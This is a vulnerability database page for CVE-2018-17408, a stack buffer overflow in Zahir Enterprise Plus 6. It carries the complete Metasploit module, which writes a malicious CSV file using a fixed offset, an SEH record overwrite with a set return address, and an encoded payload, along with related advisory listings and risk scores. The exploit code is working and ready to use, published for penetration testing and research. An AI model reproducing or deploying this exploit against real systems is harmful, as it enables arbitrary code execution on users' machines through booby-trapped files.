Lucene search
K

Zahir Enterprise Plus 6 Stack Buffer Overflow

🗓️ 29 Sep 2018 11:59:14Reported by f3ci, modpr0beType 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

Zahir Enterprise Plus 6 Stack Buffer Overflow vulnerability in Import from other Fil

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Zahir Enterprise Plus 6 build 10b - Buffer Overflow (SEH) Exploit
1 Oct 201800:00
zdt
Circl
CVE-2018-17408
4 Oct 201816:10
circl
CVE
CVE-2018-17408
3 Oct 201820:00
cve
Cvelist
CVE-2018-17408
3 Oct 201820:00
cvelist
Exploit DB
Zahir Enterprise Plus 6 build 10b - Buffer Overflow (SEH)
1 Oct 201800:00
exploitdb
Exploit DB
Zahir Enterprise Plus 6 - Stack Buffer Overflow (Metasploit)
8 Oct 201800:00
exploitdb
exploitpack
Zahir Enterprise Plus 6 build 10b - Buffer Overflow (SEH)
1 Oct 201800:00
exploitpack
NVD
CVE-2018-17408
3 Oct 201820:29
nvd
OSV
CVE-2018-17408
3 Oct 201820:29
osv
Packet Storm
Zahir Enterprise Plus 6 Build 10b Buffer Overflow
1 Oct 201800:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
       The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
       via Import from other File. This results in overwriting a structured exception handler record.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'f3ci',       # initial discovery
          'modpr0be'    # poc and Metasploit Module
        ],
      'References'      =>
        [
          [ 'CVE', '2018-17408' ],
          [ 'EDB', '45505' ]
        ],
      'Platform'        => 'win',
      'Targets'         =>
        [
          ['Zahir Enterprise Plus 6 <= build 10b',
            {
              #P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
              'Ret'     => 0x52016661,
              'Offset'  => 3041
            }
          ]
        ],
      'Payload'         =>
        {
          'Space'       => 5000,
          'BadChars'    => "\x00\x0a\x0d\x22\x2c",
          'DisableNops'     => true
        },
      'DisclosureDate'  => '2018-09-28',
      'DefaultTarget'   => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
    ])
  end

  def exploit
    buf = rand_text_alpha_upper(target['Offset'])
    buf << "\r\n"   # crash chars
    buf << rand_text_alpha_upper(380) # extra chars to hit the offset
    buf << generate_seh_record(target.ret)
    buf << payload.encoded

    file_create(buf)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.4High risk
Vulners AI Score7.4
CVSS 26.8
CVSS 37.8
EPSS0.18968
29